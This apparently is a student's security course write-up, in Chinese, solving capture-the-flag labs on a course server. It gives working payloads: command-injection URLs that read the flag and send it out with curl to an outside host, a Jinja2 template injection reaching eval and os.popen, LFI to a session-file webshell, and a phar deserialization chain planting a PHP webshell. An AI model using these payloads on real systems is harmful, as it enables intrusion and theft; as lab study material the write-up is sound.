###### tags: `NCTU` `CS` `Course` `SecureProgramming` HW 0x08 Write Up == yysung ## [Lab 8-1] cmdinj ``` http://edu.kaibro.tw:7777/?h=%0Aa=$(ls${IFS}/)%0Acurl${IFS}li.yysung.tw:8888/$(echo${IFS}${a:17}) http://edu.kaibro.tw:7777/?h=%0Aa=$(cat${IFS}/f*)%0Acurl${IFS}-g${IFS}li.yysung.tw:8888/$(echo${IFS}${a:0}) ``` 在 $h 中放入 curl 就可以對指定的網址傳訊息 可以建構指令來拿到 flag ## [Lab 8-2] EzLFI `action=register` 後可以拿到 cookie 同時 POST 並在 form_data 裡放 user={php code} 會將 {php code} 放在 /var/lib/php/session/sess_{PHPSESSID} 用以上方法放入 webshell 後接下來就可以用 ``` action=module&m=../../../../../var/lib/php/session/sess_{PHPSESSID} ``` 載入 webshell 了 ## [Lab 8-3] Jinja2 ``` {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %} ``` 暴力搜尋 python 內部的函數找到 eval 就可以執行任意的 python code 利用 os package 的 popen 來作為 shell 得到 flag ## [HW 0x08] GhostGIF 所有的 action 中只有 upload 和 getsize 是有可能執行的 其他 action 因為無法拿到 $SECRET 所以無法執行 其中 getsize 裡會直接拿 `$_GET['f']` 的值當作 getimagesize 的參數,可以觸發 phar 反序列化 而且 FileManager 會在 destruct 時才建立文件 所以可以進行 phar 反序列化攻擊將 php 檔放在 uploads/ 底下完成 RCE 先製作 phar 檔 在 setStub 裡加入 GIF 檔頭和 `__HALT_COMPILER()` addFromString 中加入 test.txt 建立一個 FileManager 實例並且設定成在 destrcut 時會建立 php 檔案,content 內容為 php 程式碼 將 FileManager 實例作為 setMetadata 的參數 建立完 phar 檔後轉成 base64 並執行 upload 因為有 GIF 檔頭所以可以被存於 uploads/ 底下 得到 GIF 檔名後,再執行 getsize 利用 POST 傳入 ``` f=phar:///var/www/html/uploads/filename.gif/test.txt ``` 原本放在 phar 檔裡的 FileManager 實例將被建構並觸發 destruct,就可以在 uploads/ 放入任意的 php 檔了 放入 webshell 後就可以執行指令並拿到 flag